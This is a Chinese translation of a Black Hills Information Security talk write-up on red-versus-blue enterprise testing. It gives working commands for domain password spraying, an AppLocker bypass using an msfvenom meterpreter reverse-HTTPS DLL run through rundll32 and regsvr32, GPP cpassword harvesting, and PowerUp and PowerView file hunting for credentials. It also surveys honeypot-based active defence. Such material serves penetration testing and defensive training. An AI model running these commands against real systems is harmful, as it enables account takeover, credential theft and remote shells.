红蓝对抗融合:企业渗透测试与主动防御实战技术解析

本文详细解析了企业环境中常见的渗透测试技术,包括密码喷洒攻击、AppLocker绕过方法、Windows权限提升工具,以及通过蜜罐和混淆技术实现的主动防御策略,帮助蓝队更好地应对红队攻击。

红 + 蓝 = 紫 - Black Hills信息安全公司

作者:David Fletcher & Sally Vandeven
咨询提示: 本文引用的技术和工具可能已过时,不适用于当前环境。但本文仍可作为学习机会,可能用于更新或集成到现代工具和技术中。

我们在2016年10月6日于密歇根州大急流城举办的GrrCon黑客会议上进行了演示。该演示通过对话形式,展示了蓝队保护网络与红队攻击网络之间的友好交锋。讨论的主题包括BHIS发现的在企业环境中获取访问权限、提升权限和控制网络的常见方法。我们还讨论了蓝队如何为渗透测试做准备,使测试人员的工作更加困难。以下是演示内容及支持材料,包括命令行示例和相关主题的参考资料。

密码喷洒

这是针对企业的密码猜测攻击。渗透测试人员使用命令行查询Active Directory或通过开源情报收集用户名列表。然后使用常见密码(如“Autumn2016”)尝试对列表中的每个用户名进行登录。由于账户锁定策略,必须小心操作,以免锁定组织用户的账户。在每个观察窗口内为每个用户猜测一个密码,以避免锁定账户。

如何从命令行对域发起密码喷洒攻击

首先检查密码策略,包括锁定设置:

1
C:\> net accounts /domain

以下示例显示域密码策略。对于此网络的密码喷洒,我们会选择简单的8字符密码,如Fall2016或Summer16(用户倾向于使用最小长度),并每十分钟喷洒一个密码。“锁定观察窗口”定义了最后一次错误密码后多久坏密码计数器重置为零。因此,一次错误密码后坏密码计数为1,但如果我们等待十分钟,计数将重置为零,可以再次猜测。这大大降低了锁定账户的机会。但服务账户可能不受相同锁定规则约束,此外坏密码计数在冗余DC之间不会复制,因此如果每次登录时账户认证到不同的DC,可能会产生冲突。因此我们的经验法则是每个观察窗口猜测一次。

了解密码策略后,可以使用wmic实用程序(去掉文件中给出列标题的第一行)或PowerShell创建用户列表。根据我们的经验,PowerShell命令更快,但可能并不总是有PowerShell访问权限,因此两种方法如下所示:

1
C:\> wmic useraccount where (domain='%USERDOMAIN%') get Name > userlist.txt
1
PS C:\> ([adsisearcher]"objectCategory=User").Findall() | ForEach {$_.properties.samaccountname} | Sort | Out-File -Encoding ASCII

注意:以上是一行PowerShell命令,“ForEach”和“{$”之间有空格。

然后使用以下FOR循环测试每个凭据,该循环使用userlist.txt中的每个用户名和放置在“pass1.txt”文件中的密码挂载共享\’%LOGONSERVER%’\IPC$:

1
@FOR /F %n in (userlist.txt) DO @FOR /F %p in (pass1.txt) DO @net use %LOGONSERVER%\IPC$ /user:%USERDOMAIN%\%n %p 1>NUL 2>&1 && @echo [*] %n:%p && @net use /delete \\DC1\IPC$ > NUL

脚本化!

你也可以使用Beau Bullock的PowerShell脚本Invoke-DomainPasswordSpray.ps1。这个脚本会为你完成所有工作!你只需要指向用户列表并提供一个密码——例如“Autumn2016”。如果你提供密码列表作为参数,脚本将在每个观察窗口为每个账户猜测一个密码。实际上,你甚至不需要提供用户列表。如果不提供,它会在运行时生成一个列表。太棒了。

1
PS C:\> Invoke-DomainPasswordSpray -Domain %USERDOMAIN% -UserList userlist.txt -Password Autumn2016

参考资料

  • DomainPasswordSpray.ps1脚本:https://github.com/dafthack/DomainPasswordSpray
  • 密码喷洒OWA门户博客文章:http://www.blackhillsinfosec.com/?p=5089

AppLocker绕过

二次执行

当运行进程启动第二个进程时,第二个进程通过所谓的“二次执行”启动,AppLocker不会检测到。这意味着AppLocker规则不适用。换句话说,这是一种即使AppLocker未明确允许也能运行可执行文件的方法。有几种方法可以实现二次执行。第一种是使用RUNDLL32.EXE,第二种是使用REGSVR32.EXE。两种方法的示例如下。

使用Metasploit的msfvenom实用程序创建恶意DLL文件。在这种情况下,DLL文件将使用HTTPS向监听服务器IP地址192.168.2.10:443发起出站连接。DLL文件可以使用RUNDLL32.EXE或REGSVR32.EXE执行。

1
# msfvenom –p windows/meterpreter/reverse_https -f dll LHOST=192.168.2.10 LPORT=443 > C:\temp\malicious.dll
1
C:\Windows\System32\rundll32.exe C:\temp\malicious.dll,Control_RunDLL

1
C:\> regsvr32.exe /s /u malicious.dll

另一种AppLocker绕过是使用InstallUtil.EXE直接访问.NET函数,避开AppLocker的检测。请参考下面引用的“PowerShell w/o PowerShell” BHIS博客文章。

第三方命令外壳

作为渗透测试人员,你可能被阻止运行cmd.exe,但你还有其他选择。你可以尝试运行第三方命令外壳。有几个可用,但我们只测试了一个,效果完美。它是开源类Windows操作系统ReactOS附带的命令外壳。如果AppLocker规则阻止执行第三方外壳,将可执行文件转换为DLL,并使用上述RunDLL32.exe方法。你也可以使用参考资料中Didier Stevens文章的链接下载已转换的cmd.dll。

参考资料

权限提升

我们经常使用许多优秀工具来帮助在Windows域内提升权限。

GPP(组策略首选项)由微软在2008年引入。GPP首选项文件中经常包含加密的特权凭据,以便脚本化管理任务。这成为了一个问题,因为用于密码的静态对称AES加密密钥已发布,因此文件中的凭据可以轻松解密。这些凭据绝对是我们认为的低 hanging fruit,是我们在渗透测试中首先检查的内容之一。方法非常简单:

打开命令外壳并运行以下命令:

1
C:\> findstr /S cpassword %logonserver%\sysvol\*.xml

如果你在cpassword属性项中找到任何包含加密值的命中,只需解密以显示明文密码,并尝试使用凭据。使用gpp-decrypt.rb解密。你也可以使用PowerSploit模块Get-GPPPassword或Metasploit模块gpp一次性查找和解密。

参考资料

PowerUp将查找可能允许权限提升的常见错误配置。此PowerShell脚本将检查错误配置,如弱服务权限、未引用的服务路径、可劫持的DLL等。我们在此展示如何在PowerShell中运行PowerUp模块,但PowerShell Empire也内置了该模块,因此当你使用Empire建立代理时,可以远程调用它。

1
PS C:\> import-module ./powerup.ps1
1
PS C:\> Invoke-Allchecks

使用PowerUp中的内置模块利用任何发现的漏洞。

使用PowerSploit的PowerView模块中的ShareFinder和FileFinder模块扫描域,查找你有权访问的有价值文件。默认情况下,FileFinder会标记名称中包含“pass”、“sensitive”、“secret”、“admin”、“login”或“unattend*.xml”的文件,但搜索条件可配置。

1
PS C:\> Invoke-ShareFinder -CheckShareAccess -Verbose -Threads 20 | Out-File -Encoding Ascii interesting-shares.txt
1
PS C:\> Invoke-FileFinder -ShareList .\interesting-shares.txt -Verbose -Threads 20 -OutFile juicy_files.csv

Bloodhound是一种自动化查找提升AD账户路径的工具。它使用PowerShell查询Active Directory,然后创建图表,显示攻击者可以访问的可用账户/计算机,以便从内存中转储凭据(例如使用Mimikatz)。转储的凭据可能提供权限提升,直至域管理员。

限制客户端到客户端流量——我们只与少数实施此级别控制的组织合作过,它在限制我们横向移动能力方面非常有效。不幸的是,我们没有太多关于如何实施此级别安全性的参考资料,但可以合理假设细粒度NTFS权限和基于主机的防火墙规则是其中的一部分。

W^X——指只允许用户在没有执行权限的位置写入,只允许在没有写入权限的位置执行应用程序。后者可以通过AppLocker强制执行。实际上,默认AppLocker规则只允许从Program Files目录和Windows目录执行,用户默认没有写入权限。在实施AppLocker时,值得审计这些位置的任何权限更改。

参考资料

主动防御

这指的是使攻击者的工作更加困难和混乱。它不指“反击黑客”。(根据大多数定义,反击黑客是非法的)注入一点混乱和不可预测性可以大大迷惑和减缓攻击者。大多数人都听说过蜜罐,但蜜文件、蜜账户、蜜令牌和其他可爱的好东西呢?ADHD是BHIS整理的主动防御发行版,可在此免费获取。

Web Bugs是网页中的隐藏元素,如从web bug服务器加载的1X1像素图像。服务器收集识别信息,如IP地址、用户代理和时间戳。web bug可以嵌入到名称诱人的.DOC文件中,如ProjectedSalaries-2017.doc或Passwords.doc。当攻击者上钩时,识别信息被记录。

Weblabyrinth创建虚假网页迷宫,旨在混淆自动化网页扫描器。

使用Honeyports在攻击者尝试连接到网络上监听的虚假服务时捕获并黑洞他们,使用TrustedSec的工具Artillery。

使用Kippo监控暴力SSH攻击,并通过使攻击者看起来真正连接到SSH服务器来混淆他们。

ADHD中还有更多。

参考资料

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计